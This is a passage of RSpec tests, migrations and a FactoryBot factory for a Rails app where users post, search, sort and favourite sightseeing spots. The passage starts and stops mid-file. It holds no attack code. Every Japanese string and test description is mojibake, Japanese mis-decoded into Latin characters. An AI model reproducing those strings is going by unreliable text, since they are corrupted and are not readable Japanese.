let!(:other_user) { create(:user) } let(:user) { build(:user) } context 'fullnameใ‚ซใƒฉใƒ ' do it '็ฉบๆฌ„ใงใชใ„ใ“ใจ' do user.fullname = '' is_expected.to eq false end it '20ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 20ๆ–‡ๅญ—ใฏใ€‡' do user.fullname = Faker::Lorem.characters(number: 20) is_expected.to eq true end it '20ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 21ๆ–‡ๅญ—ใฏร—' do user.fullname = Faker::Lorem.characters(number: 21) is_expected.to eq false end end context 'nicknameใ‚ซใƒฉใƒ ' do it '็ฉบๆฌ„ใงใชใ„ใ“ใจ' do user.nickname = '' is_expected.to eq false end it '20ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 20ๆ–‡ๅญ—ใฏใ€‡' do user.nickname = Faker::Lorem.characters(number: 20) is_expected.to eq true end it '20ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 21ๆ–‡ๅญ—ใฏร—' do user.nickname = Faker::Lorem.characters(number: 21) is_expected.to eq false end it 'ไธ€ๆ„ๆ€งใŒใ‚ใ‚‹ใ“ใจ' do user.nickname = other_user.nickname is_expected.to eq false end end context 'sexใ‚ซใƒฉใƒ ' do it 'ๆœช้ธๆŠžใงใชใ„ใ“ใจ' do user.sex = nil is_expected.to eq false end end context 'birthdayใ‚ซใƒฉใƒ ' do it 'ๆœช้ธๆŠžใงใชใ„ใ“ใจ' do user.birthday = nil is_expected.to eq false end it 'ๆœชๆฅใฎๆ—ฅไป˜ใงใชใ„ใ“ใจ' do user.birthday = Date.today + 1 is_expected.to eq false end end context 'prefectureใ‚ซใƒฉใƒ ' do it 'ๆœช้ธๆŠžใงใชใ„ใ“ใจ' do user.prefecture = nil is_expected.to eq false end end context 'cityใ‚ซใƒฉใƒ ' do it '็ฉบๆฌ„ใงใชใ„ใ“ใจ' do user.city = '' is_expected.to eq false end it '15ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 15ๆ–‡ๅญ—ใฏใ€‡' do user.city = Faker::Lorem.characters(number: 15) is_expected.to eq true end it '15ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 16ๆ–‡ๅญ—ใฏร—' do user.city = Faker::Lorem.characters(number: 16) is_expected.to eq false end end context 'introductionใ‚ซใƒฉใƒ ' do it '50ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 50ๆ–‡ๅญ—ใฏใ€‡' do user.introduction = Faker::Lorem.characters(number: 50) is_expected.to eq true end it '50ๆ–‡ๅญ—ไปฅไธ‹ใงใ‚ใ‚‹ใ“ใจ: 51ๆ–‡ๅญ—ใฏร—' do user.introduction = Faker::Lorem.characters(number: 51) is_expected.to eq false end end end describe 'ใ‚ขใ‚ฝใ‚ทใ‚จใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do context 'Spotใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:spots).macro).to eq :has_many end end context 'FollowRelationshipใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it 'followingใจ1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:following).macro).to eq :has_many end it 'followersใจ1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:followers).macro).to eq :has_many end end context 'Notificationใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it 'serverใจ1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:servers).macro).to eq :has_many end it 'hostใจ1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:hosts).macro).to eq :has_many end end context 'Commentใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:comments).macro).to eq :has_many end end context 'Favoriteใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(User.reflect_on_association(:favorites).macro).to eq :has_many end end end describe 'following, followers้–ข้€ฃใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let(:other_user) { create(:other_user) } it 'following, followersใฎ้–ขไฟ‚ๆ€งใŒๆญฃใ—ใ„ใ‹' do expect(user.following?(other_user)).to eq false user.follow(other_user) expect(user.following?(other_user)).to eq true expect(other_user.followers.include?(user)).to eq true user.unfollow(other_user) expect(user.following?(other_user)).to eq false end end end ``` 20210308080154_create_keyword_relationships.rb ```class CreateKeywordRelationships < ActiveRecord::Migration[5.2] def change create_table :keyword_relationships do |t| t.integer :spot_id t.integer :keyword_id t.timestamps end end end ``` 20210409050022_create_notifications.rb ```class CreateNotifications < ActiveRecord::Migration[5.2] def change create_table :notifications do |t| t.integer :spot_id t.integer :server_id t.integer :host_id t.integer :comment_id t.string :kind t.boolean :check, default: false, null: false t.timestamps end end end ``` spots.rb ```FactoryBot.define do factory :spot do title { Faker::Lorem.characters(number: 10) } prefecture { 'ๆฑไบฌ้ƒฝ' } city { Faker::Lorem.characters(number: 5) } visited_day { '2020-01-01' } rate { '5' } spot_image1 { File.open("#{Rails.root}/app/assets/images/image1.jpg") } spot_image2 { File.open("#{Rails.root}/app/assets/images/image2.jpg") } spot_image3 { File.open("#{Rails.root}/app/assets/images/image3.jpg") } content { Faker::Lorem.characters(number: 50) } user factory :other_spot do prefecture { '็ฅžๅฅˆๅท็œŒ' } visited_day { '2019-01-01' } rate { '4' } spot_image1 { File.open("#{Rails.root}/app/assets/images/image4.jpg") } spot_image2 { File.open("#{Rails.root}/app/assets/images/image5.jpg") } spot_image3 { File.open("#{Rails.root}/app/assets/images/image6.jpg") } end factory :search_spot do title { 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' } prefecture { 'ๅƒ่‘‰็œŒ' } city { 'ๆตฆๅฎ‰ๅธ‚' } visited_day { '2020-01-01' } rate { '5' } end factory :search_spot2 do title { '็จฒ่ทๅฑฑๅคๅขณ' } prefecture { 'ๅŸผ็މ็œŒ' } city { '่กŒ็”ฐๅธ‚' } visited_day { '2021-01-01' } rate { '4' } end factory :search_spot3 do title { 'ๅคงไป™้™ตๅคๅขณ' } prefecture { 'ๅคง้˜ชๅบœ' } city { 'ๅ บๅธ‚' } visited_day { '2019-01-01' } rate { '3' } end end end ``` 01_before_login_spec.rb ```require 'rails_helper' describe '[STEP1] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅ‰ใฎใƒ†ใ‚นใƒˆ' do describe 'ใƒˆใƒƒใƒ—็”ป้ขใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let!(:search_spot) { create(:search_spot, user: user) } let!(:search_spot2) { create(:search_spot2, user: user) } let!(:favorite) { create(:favorite, user: nil, spot: search_spot) } let!(:favorite2) { create(:favorite, user: nil, spot: search_spot) } let!(:favorite3) { create(:favorite, user: nil, spot: search_spot2) } before do visit top_path end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/' end it 'ๆ–ฐ่ฆ็™ป้Œฒใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰3็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œๆ–ฐ่ฆ็™ป้Œฒใ€ใงใ‚ใ‚‹' do sign_up_link = find_all('a')[2].native.inner_text expect(sign_up_link).to match('ๆ–ฐ่ฆ็™ป้Œฒ') end it 'ๆ–ฐ่ฆ็™ป้Œฒใƒชใƒณใ‚ฏใฎๅ†…ๅฎนใŒๆญฃใ—ใ„' do sign_up_link = find_all('a')[2] sign_up_link.click expect(current_path).to eq('/users/sign_up') end it 'ใƒญใ‚ฐใ‚คใƒณใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰4็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใƒญใ‚ฐใ‚คใƒณใ€ใงใ‚ใ‚‹' do log_in_link = find_all('a')[3].native.inner_text expect(log_in_link).to match('ใƒญใ‚ฐใ‚คใƒณ') end it 'ใƒญใ‚ฐใ‚คใƒณใƒชใƒณใ‚ฏใฎๅ†…ๅฎนใŒๆญฃใ—ใ„' do log_in_link = find_all('a')[3] log_in_link.click expect(current_path).to eq('/users/sign_in') end end context 'ๆ–ฐ็€ใ‚นใƒใƒƒใƒˆ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do it 'ใ€Œๆ–ฐ็€ใ‚นใƒใƒƒใƒˆใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ๆ–ฐ็€ใ‚นใƒใƒƒใƒˆ' end it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏๅ…ˆใŒใใ‚Œใžใ‚Œๆญฃใ—ใ„' do expect(page).to have_link search_spot.title, href: spot_path(search_spot) expect(page).to have_link search_spot2.title, href: spot_path(search_spot2) end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content search_spot.prefecture expect(page).to have_content search_spot2.prefecture expect(page).to have_content search_spot.city expect(page).to have_content search_spot2.city end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content search_spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content search_spot2.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content search_spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content search_spot2.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content search_spot.rate expect(page).to have_content search_spot2.rate sleep 3 end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(search_spot) expect(page).to have_link '', href: spot_favorites_path(search_spot2) end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content search_spot.favorites.count expect(page).to have_content search_spot2.favorites.count end end context 'ใ‚นใƒใƒƒใƒˆๆคœ็ดขใฎใƒ†ใ‚นใƒˆ(ใ‚ญใƒผใƒฏใƒผใƒ‰ไปฅๅค–)' do it 'ใ€Œใ‚นใƒใƒƒใƒˆใ‚’ๆŽขใ—ใฆใฟใ‚‹ใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ใ‚นใƒใƒƒใƒˆใ‚’ๆŽขใ—ใฆใฟใ‚‹' end it '้ƒฝ้“ๅบœ็œŒใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[prefecture_eq]' end it 'ๅธ‚ๅŒบ็”บๆ‘ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[city_cont]' end it 'ใ‚ฟใ‚คใƒˆใƒซใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[title_cont]' end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field 'q[keywords_keyword_cont]' end it 'ๆคœ็ดขใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆคœ็ดข' end it '้ƒฝ้“ๅบœ็œŒใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do select 'ๅƒ่‘‰็œŒ', from: 'q_prefecture_eq' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ' end it 'ๅธ‚ๅŒบ็”บๆ‘ใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[city_cont]', with: '่กŒ็”ฐ' click_button 'ๆคœ็ดข' expect(page).not_to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).to have_content '็จฒ่ทๅฑฑๅคๅขณ' end it 'ใ‚ฟใ‚คใƒˆใƒซใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[title_cont]', with: 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผ' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ' end end context 'ใ‚นใƒใƒƒใƒˆๆคœ็ดขใฎใƒ†ใ‚นใƒˆ(ใ‚ญใƒผใƒฏใƒผใƒ‰)' do before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_spot_path(search_spot) fill_in 'spot[keyword]', with: 'ๅคขใฎๅ›ฝ ใƒŸใƒƒใ‚ญใƒผ' click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' visit edit_spot_path(search_spot2) fill_in 'spot[keyword]', with: '็จฒ่ทๅฑฑๅ…ฌๅœ’ ๅ‰ๆ–นๅพŒๅ††ๅขณ' click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' end it 'ใ‚ฟใ‚คใƒˆใƒซใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[keywords_keyword_cont]', with: 'ใƒŸใƒƒใ‚ญใƒผ' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ' end end context 'ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ข)' do before do click_button 'ๆคœ็ดข' end it 'ใ‚ฟใ‚คใƒˆใƒซใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆ‰€ๅœจๅœฐใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆ‰€ๅœจๅœฐ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ๆ‰€ๅœจๅœฐ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end it 'ๆŠ•็จฟๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆŠ•็จฟๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ๆŠ•็จฟๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆฅ่จชๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆฅ่จชๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ๆฅ่จชๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it '่ฉ•ไพกใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link '่ฉ•ไพก' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link '่ฉ•ไพก' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end it 'ใ„ใ„ใญใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ„ใ„ใญ' #ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ใ„ใ„ใญ' #้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end end end describe 'ใ‚นใƒใƒƒใƒˆ่ฉณ็ดฐ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let!(:spot) { create(:spot, user: user) } let!(:comment) { create(:comment, user: user, spot: spot) } before do visit spot_path(spot) end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots/' + spot.id.to_s end it 'ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.title end it 'ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.prefecture expect(page).to have_content spot.city end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content spot.rate sleep 3 end it 'ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใจใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(spot) expect(page).to have_content spot.favorites.count end it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_selector("img[src$='spot_image2.jpeg']") expect(page).to have_selector("img[src$='spot_image3.jpeg']") end it 'ใ‚นใƒใƒƒใƒˆใฎๅ†…ๅฎนใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.content end it 'ใ‚นใƒใƒƒใƒˆใฎ็ทจ้›†ใƒœใ‚ฟใƒณใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link '็ทจ้›†ใ™ใ‚‹', href: edit_spot_path(spot) end it 'ใ‚นใƒใƒƒใƒˆใฎๅ‰Š้™คใƒœใ‚ฟใƒณใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link 'ๅ‰Š้™คใ™ใ‚‹', href: spot_path(spot) end end context 'ใ‚ตใ‚คใƒ‰ใƒใƒผใฎ็ขบ่ช' do it 'ใ€ŒๆŠ•็จฟ่€…ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ๆŠ•็จฟ่€…ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ' end it '่‡ชๅˆ†ใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='profile_image.jpeg']") end it '่‡ชๅˆ†ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.nickname end it '่‡ชๅˆ†ใฎๆ€งๅˆฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.sex end it '่‡ชๅˆ†ใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.age end it '่‡ชๅˆ†ใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.prefecture expect(page).to have_content user.city end it '่‡ชๅˆ†ใฎ่‡ชๅทฑ็ดนไป‹ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user.introduction end it 'ใ€Œใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ใฟใ‚‹ใ€(ใƒฆใƒผใ‚ถใƒผ่ฉณ็ดฐ็”ป้ขใธใฎใƒชใƒณใ‚ฏ)ใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link 'ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ใฟใ‚‹', href: user_path(user) end end context 'ใ‚ณใƒกใƒณใƒˆใ‚จใƒชใ‚ขใฎใƒ†ใ‚นใƒˆ' do it 'ใ€Œใ‚ณใƒกใƒณใƒˆใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ใ‚ณใƒกใƒณใƒˆ' end it 'ใ‚ณใƒกใƒณใƒˆใฎๅ…จไปถๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content "ๅ…จ#{spot.comments.count}ไปถ" end it 'ใ‚ณใƒกใƒณใƒˆใ—ใŸใƒฆใƒผใ‚ถใƒผใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹(ใƒชใƒณใ‚ฏใงใฏใชใ„)' do expect(page).to have_content user.nickname expect(page).not_to have_link user.nickname, href: user_path(user) end it 'ใ‚ณใƒกใƒณใƒˆใฎๅ†…ๅฎนใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content comment.comment end it 'ใ‚ณใƒกใƒณใƒˆใฎ้€ไฟกๆ—ฅๆ™‚ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content comment.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ %-H:%M") end it 'ใ‚ณใƒกใƒณใƒˆใฎๅ‰Š้™คใƒชใƒณใ‚ฏใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link 'delete-' + comment.id.to_s + '-btn' end it 'ใ‚ณใƒกใƒณใƒˆๅ…ฅๅŠ›ใ‚จใƒชใ‚ขใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_content 'ใ‚ณใƒกใƒณใƒˆใ‚’ใฉใ†ใž' expect(page).not_to have_field 'comment[comment]' expect(page).not_to have_button '้€ไฟกใ™ใ‚‹' end end context 'ใ‚ญใƒผใƒฏใƒผใƒ‰้–ข้€ฃใฎใƒ†ใ‚นใƒˆ' do before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_spot_path(spot) fill_in 'spot[keyword]', with: 'ๆฑไบฌ้ง… ไธธใฎๅ†…' find('input[@name="spot[rate]"]', visible: false).set('5') click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' end it 'ใ‚นใƒใƒƒใƒˆ่ฉณ็ดฐ็”ป้ขใ€ใ‚ญใƒผใƒฏใƒผใƒ‰ใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏๅ…ˆใŒๆญฃใ—ใ„' do visit spot_path(spot) expect(page).to have_link 'ๆฑไบฌ้ง…', href: keyword_path(Keyword.first) expect(page).to have_link 'ไธธใฎๅ†…', href: keyword_path(Keyword.last) end end end describe 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let!(:other_user) { create(:user) } let!(:spot) { create(:search_spot2, user: user) } let!(:other_spot) { create(:search_spot3, user: user) } let!(:favorite1) { create(:favorite, user: user, spot: spot) } let!(:favorite2) { create(:favorite, user: user, spot: other_spot) } let!(:favorite3) { create(:favorite, user: other_user, spot: spot) } before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_spot_path(spot) fill_in 'spot[keyword]', with: 'ๅ‰ๆ–นๅพŒๅ††ๅขณ' find('input[@name="spot[rate]"]', visible: false).set('4') click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' visit edit_spot_path(other_spot) fill_in 'spot[keyword]', with: 'ๅ‰ๆ–นๅพŒๅ††ๅขณ' find('input[@name="spot[rate]"]', visible: false).set('3') click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' visit keyword_path(Keyword.first) end context '่กจ็คบใฎ็ขบ่ช' do it 'ใ€Œใ‚ญใƒผใƒฏใƒผใƒ‰๏ผšใ€Œใ‚ญใƒผใƒฏใƒผใƒ‰ๅใ€ ใ‚นใƒใƒƒใƒˆไธ€่ฆงใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content "ใ‚ญใƒผใƒฏใƒผใƒ‰๏ผšใ€Œ#{Keyword.first.keyword}ใ€ ใ‚นใƒใƒƒใƒˆไธ€่ฆง" end it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏๅ…ˆใŒใใ‚Œใžใ‚Œๆญฃใ—ใ„' do expect(page).to have_link spot.title, href: spot_path(spot) expect(page).to have_link other_spot.title, href: spot_path(other_spot) end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.prefecture expect(page).to have_content other_spot.prefecture expect(page).to have_content spot.city expect(page).to have_content other_spot.city end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 